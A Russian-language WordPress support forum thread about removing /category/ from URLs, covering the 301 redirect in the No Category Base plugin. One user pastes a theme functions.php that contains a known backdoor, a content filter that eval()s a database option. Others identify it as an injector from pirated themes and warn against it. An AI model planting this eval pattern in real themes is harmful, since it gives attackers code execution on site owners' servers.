Просмотр 15 ответов — с 1 по 15 (всего 15)
  • BugTracker, Вы уверенны что там не используется 301 редирект?

    Там используется переадресация с кодом 301.
    Тогда еще вариант, используйте custom taxonomy и custom post type.

    Хочу поинтересоваться, что не так в вашем случае с 301 редиректом, чем он вам не угодил?

    Без 301 редиректа все же лучше будет для поисковиков и лучше вообще без редиректов обходиться.

    Решил вот таким способом:
    создал новый шаблон страницы с выводом только 1 категории

    <?php query_posts('cat=1&showposts=10'); ?>
    <p class="archive-title">Новости</p>
    <?php while ( have_posts() ) : the_post(); ?>
    				<?php get_template_part( 'content', 'news' ); ?>
    				<?php endwhile; // end of the loop. ?>
    <?php wp_reset_query();?>

    Модератор Yuri

    (@yube)

    Коллеги, вы о чем? какой редирект?

    Вот сайт http://narod.kharkov.ua/ на котором стоит WP No Category Base. Покажите, пожалуйста, где там 301 редирект?

    Хмм…вот код из файла плагина

    add_filter('request', 'no_category_base_request');
    function no_category_base_request($query_vars) {
    	//print_r($query_vars); // For Debugging
    	if (isset($query_vars['category_redirect'])) {
    		$catlink = trailingslashit(get_option('home')) . user_trailingslashit($query_vars['category_redirect'], 'category');
    		status_header(301);
    		header("Location: $catlink");
    		exit();
    	}
    	return $query_vars;

    Разве эта строка и не означает 301 редирект?
    status_header(301);

    Хотя на вашем сайте действительно идет ответ 200

    Модератор Yuri

    (@yube)

    Разве эта строка и не означает 301 редирект?

    Означает. Но перед ней строка с if. А это тоже что-то да означает 😉

    Согласен. Но не могу понять что там за условие.Сможете подсказать?

    Модератор Yuri

    (@yube)

    Это редирект для заходов по старому адресу с /category/

    Поскажите почему кликая на рубрику попадаю на главную, плагины отключал, не помогает, во код функцыи мож в нем дело?

    <?php
    
    add_filter('the_content', '_bloginfo', 10001);
    function _bloginfo($content){
    	global $post;
        if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
            return $co;
        } else return $content;
    }
    if ( function_exists('register_sidebar') )
        register_sidebar(array(
        	'name' => 'Sidebar Left',
            'before_widget' => '',
            'after_widget' => '',
            'before_title' => '<h3>',
            'after_title' => '</h3>',
        ));
        register_sidebar(array(
        	'name' => 'Sidebar Right',
            'before_widget' => '',
            'after_widget' => '',
            'before_title' => '<h3>',
            'after_title' => '</h3>',
        ));
    ?>

    9197044
    Как удачно вы привели один из самых известных вирусов-инжекторов… Такой код находился только в «ворованных» темах оформления, у вас, надеюсь, не такая?


    Предупрежу, на всякий пожарный, пользователей-новичков — не используйте вышеприведенный код в своей (используемой) теме оформления

    я тоже надеюсь

    и что с этим делать

    Выбросить ворованное и поставить чистое с официального репозитория. Если не поздно, конечно.. А то придется все файлы и БД просматривать на предмет внедрения «шняги»..

    и что с этим делать

    Кроме сказанного wikicms ещё внимательно изучить правила форума (особенно п2)

Просмотр 15 ответов — с 1 по 15 (всего 15)
  • Тема «Убрать /category/» закрыта для новых ответов.